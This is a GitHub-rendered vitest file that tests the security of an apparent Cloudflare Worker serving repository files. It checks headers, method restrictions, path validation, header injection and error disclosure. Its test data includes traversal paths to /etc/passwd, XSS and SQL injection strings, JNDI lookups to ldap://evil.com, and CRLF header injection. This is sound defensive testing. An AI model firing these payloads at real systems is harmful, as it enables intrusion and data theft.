Repository navigation
Expand file tree
/
Copy pathsecurity.test.js
More file actions
276 lines (227 loc) · 9.41 KB
/
Copy pathsecurity.test.js
File metadata and controls
276 lines (227 loc) · 9.41 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
import { SELF } from 'cloudflare:test';
import { describe, expect, it } from 'vitest';
describe('Security Features', () => {
describe('Security Headers', () => {
it('should include Strict-Transport-Security header', async () => {
const response = await SELF.fetch('https://example.com/');
const hsts = response.headers.get('Strict-Transport-Security');
expect(hsts).toBeTruthy();
expect(hsts).toContain('max-age=');
expect(hsts).toContain('includeSubDomains');
expect(hsts).toContain('preload');
});
it('should include X-Frame-Options header', async () => {
const response = await SELF.fetch('https://example.com/');
expect(response.headers.get('X-Frame-Options')).toBe('DENY');
});
it('should include X-XSS-Protection header', async () => {
const response = await SELF.fetch('https://example.com/');
expect(response.headers.get('X-XSS-Protection')).toBe('1; mode=block');
});
it('should include Content-Security-Policy header', async () => {
const response = await SELF.fetch('https://example.com/');
const csp = response.headers.get('Content-Security-Policy');
expect(csp).toBeTruthy();
expect(csp).toContain("default-src 'none'");
});
it('should include Referrer-Policy header', async () => {
const response = await SELF.fetch('https://example.com/');
expect(response.headers.get('Referrer-Policy')).toBe('strict-origin-when-cross-origin');
});
it('should include Permissions-Policy header', async () => {
const response = await SELF.fetch('https://example.com/');
const permissionsPolicy = response.headers.get('Permissions-Policy');
expect(permissionsPolicy).toBeTruthy();
expect(permissionsPolicy).toContain('interest-cohort=()');
});
});
describe('HTTP Method Restrictions', () => {
it('should reject PATCH method', async () => {
const response = await SELF.fetch('https://example.com/gh/test/repo', {
method: 'PATCH'
});
expect(response.status).toBe(405);
});
it('should reject PUT method for non-Git requests', async () => {
const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt', {
method: 'PUT'
});
expect(response.status).toBe(405);
});
it('should reject DELETE method', async () => {
const response = await SELF.fetch('https://example.com/gh/test/repo', {
method: 'DELETE'
});
expect(response.status).toBe(405);
});
it('should reject OPTIONS method', async () => {
const response = await SELF.fetch('https://example.com/gh/test/repo', {
method: 'OPTIONS'
});
expect(response.status).toBe(405);
});
});
describe('Path Validation', () => {
it('should reject paths with directory traversal attempts', async () => {
const maliciousPaths = [
'/gh/../../../etc/passwd',
'/gh/user/repo/../../../sensitive',
'/gh/user/repo/..%2F..%2F..%2Fetc%2Fpasswd',
'/gh/user/repo/%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd'
];
for (const path of maliciousPaths) {
const response = await SELF.fetch(`https://example.com${path}`);
// Should either reject with 400 or safely handle the path
expect([400, 404, 500]).toContain(response.status);
}
});
it('should reject extremely long paths', async () => {
const longPath = '/gh/' + 'a'.repeat(3000);
const response = await SELF.fetch(`https://example.com${longPath}`);
expect(response.status).toBe(414);
});
it('should handle URL encoding safely', async () => {
const encodedPaths = [
'/gh/user/repo%20with%20spaces',
'/gh/user/repo%2Ffile.txt',
'/gh/user%40domain/repo'
];
for (const path of encodedPaths) {
const response = await SELF.fetch(`https://example.com${path}`);
// Should handle encoded paths without security issues
expect(response.status).not.toBe(500);
}
});
});
describe('Input Sanitization', () => {
it('should handle special characters in paths', async () => {
const specialPaths = [
'/gh/user/repo<script>alert(1)</script>',
"/gh/user/repo'; DROP TABLE users; --",
'/gh/user/repo${jndi:ldap://evil.com}',
'/gh/user/repo{{7*7}}'
];
for (const path of specialPaths) {
const response = await SELF.fetch(`https://example.com${path}`);
// Should safely handle special characters
expect(response.status).not.toBe(500);
}
});
it('should handle Unicode characters safely', async () => {
const unicodePaths = [
'/gh/所有者/存储库/文件.txt',
'/gh/user/repo/файл.txt',
'/gh/user/repo/ファイル.txt'
];
for (const path of unicodePaths) {
const response = await SELF.fetch(`https://example.com${path}`);
// Should handle Unicode without issues
expect(response.status).not.toBe(500);
}
});
});
describe('Request Header Validation', () => {
it('should handle malicious User-Agent headers', async () => {
const maliciousUserAgents = [
'<script>alert(1)</script>',
'Mozilla/5.0 ${jndi:ldap://evil.com}',
'User-Agent\r\nX-Injected-Header: malicious'
];
for (const userAgent of maliciousUserAgents) {
const response = await SELF.fetch('https://example.com/gh/test/repo', {
headers: {
'User-Agent': userAgent
}
});
// Should handle malicious user agents safely
expect(response.status).not.toBe(500);
}
});
it('should handle header injection attempts', async () => {
const response = await SELF.fetch('https://example.com/gh/test/repo', {
headers: {
'X-Test': 'value\r\nX-Injected: malicious',
Referer: 'https://evil.com\r\nX-Injected: header'
}
});
// Should not allow header injection
expect(response.headers.get('X-Injected')).toBeNull();
});
});
describe('Rate Limiting and DoS Protection', () => {
it('should handle concurrent requests gracefully', async () => {
const requests = Array(10)
.fill()
.map(() => SELF.fetch('https://example.com/gh/test/repo/small-file.txt'));
const responses = await Promise.all(requests);
// All requests should be handled without errors
responses.forEach(response => {
expect(response.status).not.toBe(500);
});
});
it('should timeout long-running requests', async () => {
// This test would need to be implemented based on actual timeout behavior
// For now, we just verify the request doesn't hang indefinitely
const startTime = Date.now();
try {
await SELF.fetch('https://example.com/gh/test/very-large-file', {
signal: AbortSignal.timeout(35000) // Slightly longer than expected timeout
});
} catch (error) {
// Request should timeout or complete within reasonable time
const elapsed = Date.now() - startTime;
expect(elapsed).toBeLessThan(40000); // 40 seconds max
}
});
});
describe('Error Information Disclosure', () => {
it('should not expose internal error details', async () => {
const response = await SELF.fetch('https://example.com/invalid-platform/test');
expect(response.status).toBe(400);
const body = await response.text();
// Should not expose internal paths, stack traces, or sensitive info
expect(body).not.toMatch(/\/[a-zA-Z]:[\\\/]/); // Windows paths
expect(body).not.toMatch(/\/home\/[^\/]+/); // Unix home paths
expect(body).not.toMatch(/at [a-zA-Z]+\.[a-zA-Z]+/); // Stack traces
expect(body).not.toMatch(/Error: .+ at/); // Detailed error messages
});
it('should provide generic error messages', async () => {
const response = await SELF.fetch('https://example.com/invalid');
const body = await response.text();
// Error messages should be generic and safe
expect(body.length).toBeLessThan(200); // Not too verbose
expect(body).not.toContain('undefined');
expect(body).not.toContain('null');
});
});
describe('CORS Security', () => {
it('should handle CORS preflight requests securely', async () => {
const response = await SELF.fetch('https://example.com/gh/test/repo', {
method: 'OPTIONS',
headers: {
Origin: 'https://evil.com',
'Access-Control-Request-Method': 'GET',
'Access-Control-Request-Headers': 'X-Custom-Header'
}
});
// Should either reject OPTIONS or handle CORS securely
if (response.status === 200) {
const allowOrigin = response.headers.get('Access-Control-Allow-Origin');
// Should not blindly allow all origins for sensitive operations
expect(allowOrigin).not.toBe('https://evil.com');
}
});
});
describe('Content Type Security', () => {
it('should not execute uploaded content', async () => {
// Test that the service doesn't execute or interpret uploaded content
const response = await SELF.fetch('https://example.com/gh/test/repo/script.js');
// Should serve content with appropriate headers, not execute it
const contentType = response.headers.get('Content-Type');
if (contentType) {
expect(contentType).not.toContain('text/html');
expect(contentType).not.toContain('application/javascript');
}
});
});
});